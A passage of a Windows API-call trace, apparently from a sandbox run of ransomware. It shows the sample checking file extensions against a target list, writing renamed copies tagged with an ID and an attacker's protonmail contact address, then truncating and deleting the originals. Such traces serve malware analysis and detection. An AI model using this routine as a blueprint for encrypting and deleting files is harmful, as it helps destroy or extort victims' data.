	[0189.463] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=623) returned 1
	[0189.463] CloseHandle (hObject=0x34c) returned 1
	[0189.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20
	[0189.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.463] lstrlenW (lpString=".doc") returned 4
	[0189.464] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.464] lstrlenW (lpString=".docx") returned 5
	[0189.464] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.464] lstrlenW (lpString=".pdf") returned 4
	[0189.464] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0189.464] lstrlenW (lpString=".xls") returned 4
	[0189.464] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0189.464] lstrlenW (lpString=".xlsx") returned 5
	[0189.464] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0189.464] lstrlenW (lpString=".ppt") returned 4
	[0189.464] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0189.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.464] lstrlenW (lpString=".zip") returned 4
	[0189.464] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0189.464] lstrlenW (lpString=".rar") returned 4
	[0189.464] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0189.464] lstrlenW (lpString=".bz2") returned 4
	[0189.464] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.464] lstrlenW (lpString=".7z") returned 3
	[0189.464] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.464] lstrlenW (lpString=".dbf") returned 4
	[0189.464] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.464] lstrlenW (lpString=".1cd") returned 4
	[0189.464] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.464] lstrlenW (lpString=".jpg") returned 4
	[0189.464] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0189.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.465] lstrlenW (lpString=".doc") returned 4
	[0189.465] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.465] lstrlenW (lpString=".docx") returned 5
	[0189.465] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.465] lstrlenW (lpString=".pdf") returned 4
	[0189.465] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0189.465] lstrlenW (lpString=".xls") returned 4
	[0189.465] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0189.465] lstrlenW (lpString=".xlsx") returned 5
	[0189.465] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0189.465] lstrlenW (lpString=".ppt") returned 4
	[0189.465] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0189.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.465] lstrlenW (lpString=".zip") returned 4
	[0189.465] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0189.465] lstrlenW (lpString=".rar") returned 4
	[0189.465] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0189.465] lstrlenW (lpString=".bz2") returned 4
	[0189.465] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.465] lstrlenW (lpString=".7z") returned 3
	[0189.465] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.465] lstrlenW (lpString=".dbf") returned 4
	[0189.465] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.465] lstrlenW (lpString=".1cd") returned 4
	[0189.465] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.465] lstrlenW (lpString=".jpg") returned 4
	[0189.465] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0189.465] lstrcmpiW (lpString1=".inc", lpString2=".Z9") returned -1
	[0189.466] lstrlenW (lpString="oledbjvs.inc") returned 12
	[0189.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0189.466] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9804) returned 1
	[0189.466] CloseHandle (hObject=0x34c) returned 1
	[0189.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20
	[0189.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.466] lstrlenW (lpString=".doc") returned 4
	[0189.466] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.466] lstrlenW (lpString=".docx") returned 5
	[0189.466] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.466] lstrlenW (lpString=".pdf") returned 4
	[0189.466] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0189.466] lstrlenW (lpString=".xls") returned 4
	[0189.466] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0189.466] lstrlenW (lpString=".xlsx") returned 5
	[0189.466] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0189.466] lstrlenW (lpString=".ppt") returned 4
	[0189.467] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0189.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.467] lstrlenW (lpString=".zip") returned 4
	[0189.467] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0189.467] lstrlenW (lpString=".rar") returned 4
	[0189.467] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0189.467] lstrlenW (lpString=".bz2") returned 4
	[0189.467] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.467] lstrlenW (lpString=".7z") returned 3
	[0189.467] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.467] lstrlenW (lpString=".dbf") returned 4
	[0189.467] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.467] lstrlenW (lpString=".1cd") returned 4
	[0189.467] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.467] lstrlenW (lpString=".jpg") returned 4
	[0189.467] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0189.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.467] lstrlenW (lpString=".doc") returned 4
	[0189.467] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.467] lstrlenW (lpString=".docx") returned 5
	[0189.467] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.467] lstrlenW (lpString=".pdf") returned 4
	[0189.467] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0189.467] lstrlenW (lpString=".xls") returned 4
	[0189.467] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0189.467] lstrlenW (lpString=".xlsx") returned 5
	[0189.467] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0189.467] lstrlenW (lpString=".ppt") returned 4
	[0189.467] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0189.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.467] lstrlenW (lpString=".zip") returned 4
	[0189.468] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0189.468] lstrlenW (lpString=".rar") returned 4
	[0189.468] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0189.468] lstrlenW (lpString=".bz2") returned 4
	[0189.468] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.468] lstrlenW (lpString=".7z") returned 3
	[0189.468] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.468] lstrlenW (lpString=".dbf") returned 4
	[0189.468] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.468] lstrlenW (lpString=".1cd") returned 4
	[0189.468] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0189.468] lstrlenW (lpString=".jpg") returned 4
	[0189.468] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0189.468] lstrcmpiW (lpString1=".inc", lpString2=".Z9") returned -1
	[0189.468] lstrlenW (lpString="oledbvbs.inc") returned 12
	[0189.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0189.468] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9975) returned 1
	[0189.468] CloseHandle (hObject=0x34c) returned 1
	[0189.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20
	[0189.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.469] lstrlenW (lpString=".doc") returned 4
	[0189.469] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.469] lstrlenW (lpString=".docx") returned 5
	[0189.469] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.469] lstrlenW (lpString=".pdf") returned 4
	[0189.469] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0189.469] lstrlenW (lpString=".xls") returned 4
	[0189.469] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0189.469] lstrlenW (lpString=".xlsx") returned 5
	[0189.469] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0189.469] lstrlenW (lpString=".ppt") returned 4
	[0189.469] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0189.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.469] lstrlenW (lpString=".zip") returned 4
	[0189.469] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0189.469] lstrlenW (lpString=".rar") returned 4
	[0189.469] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0189.469] lstrlenW (lpString=".bz2") returned 4
	[0189.469] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.469] lstrlenW (lpString=".7z") returned 3
	[0189.469] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.469] lstrlenW (lpString=".dbf") returned 4
	[0189.469] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.469] lstrlenW (lpString=".1cd") returned 4
	[0189.470] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.470] lstrlenW (lpString=".jpg") returned 4
	[0189.470] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.470] lstrlenW (lpString=".doc") returned 4
	[0189.470] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.470] lstrlenW (lpString=".docx") returned 5
	[0189.470] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.470] lstrlenW (lpString=".pdf") returned 4
	[0189.470] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0189.470] lstrlenW (lpString=".xls") returned 4
	[0189.470] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0189.470] lstrlenW (lpString=".xlsx") returned 5
	[0189.470] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0189.470] lstrlenW (lpString=".ppt") returned 4
	[0189.470] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.470] lstrlenW (lpString=".zip") returned 4
	[0189.470] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0189.470] lstrlenW (lpString=".rar") returned 4
	[0189.470] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0189.470] lstrlenW (lpString=".bz2") returned 4
	[0189.470] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.470] lstrlenW (lpString=".7z") returned 3
	[0189.470] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.470] lstrlenW (lpString=".dbf") returned 4
	[0189.470] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.470] lstrlenW (lpString=".1cd") returned 4
	[0189.470] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0189.470] lstrlenW (lpString=".jpg") returned 4
	[0189.470] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0189.471] Sleep (dwMilliseconds=0x64) 
	[0189.796] Sleep (dwMilliseconds=0x64) 
	[0190.543] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0190.543] lstrlenW (lpString="J0099150.JPG") returned 12
	[0190.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0190.544] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=21914) returned 1
	[0190.544] CloseHandle (hObject=0x354) returned 1
	[0190.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220
	[0190.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0190.544] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.544] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0190.545] GetLastError () returned 0x0
	[0190.545] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x559a, lpOverlapped=0x0) returned 1
	[0190.560] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0190.562] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.562] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.562] SetEndOfFile (hFile=0x370) returned 1
	[0190.562] CloseHandle (hObject=0x370) returned 1
	[0190.562] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.562] SetEndOfFile (hFile=0x354) returned 1
	[0190.563] CloseHandle (hObject=0x354) returned 1
	[0190.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1
	[0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.564] lstrlenW (lpString=".doc") returned 4
	[0190.564] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.564] lstrlenW (lpString=".docx") returned 5
	[0190.564] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0190.564] lstrlenW (lpString=".pdf") returned 4
	[0190.564] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.564] lstrlenW (lpString=".xls") returned 4
	[0190.564] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.564] lstrlenW (lpString=".xlsx") returned 5
	[0190.564] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0190.564] lstrlenW (lpString=".ppt") returned 4
	[0190.564] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.564] lstrlenW (lpString=".zip") returned 4
	[0190.565] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.565] lstrlenW (lpString=".rar") returned 4
	[0190.565] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.565] lstrlenW (lpString=".bz2") returned 4
	[0190.565] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.565] lstrlenW (lpString=".7z") returned 3
	[0190.565] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.565] lstrlenW (lpString=".dbf") returned 4
	[0190.565] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.565] lstrlenW (lpString=".1cd") returned 4
	[0190.565] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.565] lstrlenW (lpString=".jpg") returned 4
	[0190.565] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.565] lstrlenW (lpString=".doc") returned 4
	[0190.565] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.565] lstrlenW (lpString=".docx") returned 5
	[0190.565] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0190.565] lstrlenW (lpString=".pdf") returned 4
	[0190.565] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.565] lstrlenW (lpString=".xls") returned 4
	[0190.565] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.565] lstrlenW (lpString=".xlsx") returned 5
	[0190.565] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0190.565] lstrlenW (lpString=".ppt") returned 4
	[0190.565] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.565] lstrlenW (lpString=".zip") returned 4
	[0190.565] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.565] lstrlenW (lpString=".rar") returned 4
	[0190.565] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.565] lstrlenW (lpString=".bz2") returned 4
	[0190.566] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.566] lstrlenW (lpString=".7z") returned 3
	[0190.566] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.566] lstrlenW (lpString=".dbf") returned 4
	[0190.566] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.566] lstrlenW (lpString=".1cd") returned 4
	[0190.566] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0190.566] lstrlenW (lpString=".jpg") returned 4
	[0190.566] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.566] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0190.566] lstrlenW (lpString="J0099151.WMF") returned 12
	[0190.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0190.566] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=26086) returned 1
	[0190.566] CloseHandle (hObject=0x354) returned 1
	[0190.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220
